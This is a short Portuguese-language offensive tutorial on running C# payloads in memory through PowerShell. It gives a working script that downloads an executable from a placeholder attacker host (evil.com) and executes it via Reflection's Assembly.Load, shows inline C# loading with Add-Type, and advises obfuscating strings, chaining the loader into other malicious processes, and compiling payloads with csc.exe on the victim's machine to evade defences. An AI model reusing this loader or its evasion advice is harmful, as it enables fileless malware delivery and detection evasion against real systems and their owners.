Explicação
Primeiramente, precisamos entender a forma mais comum de carregar C#, através de um executável:
Buscar conteúdo executável e encapsular em uma matriz de bytes.
Carregue o conteúdo executável usando o método [System.Reflection.Assembly]::load().
Use o Reflection para executar nossa montagem carregada.
O código abaixo segue os seguintes passos:
$bytes = (Invoke-WebRequest "https://evil.com/evilexe.exe").Content
$loadedAssembly = [System.Reflection.Assembly]::Load($bytes)
# Create entrypoint object and call it.
$entry =
$loadedAssembly.GetType("NAMSPACE.CLASS_NAME").
GetMethod('STATIC_METHOD_NAME', [Reflection.BindingFlags] 'Static, Public, NonPublic')
$entry.Invoke($null)
Cordas C#
Em vez de compilar e baixar um executável, por que simplesmente não fornecemos uma string de várias linhas com nosso código C# desejado e carregamos assim:
Add-Type @" using System; public class Payload {
static void Execute() {
while (true) {
Console.WriteLine("1337");
}
}
} "@
$pl = New-Object Payload $pl.Execute()
Claro, certifique-se de ofuscar suas strings, a melhor maneira de usar esse método é como um estágio para outro processo malicioso. Você também pode compilar seu código na máquina da vítima para escapar da defesa.
CSC.EXE
O C Sharp Compiler, também conhecido como CSC.EXE, é um utilitário de linha de comando para compilar projetos .NET em PE's. Youy pode invocar isso na máquina das vítimas depois de escrever seu código ofuscado em um arquivo temporário e compilar sua carga PE na máquina.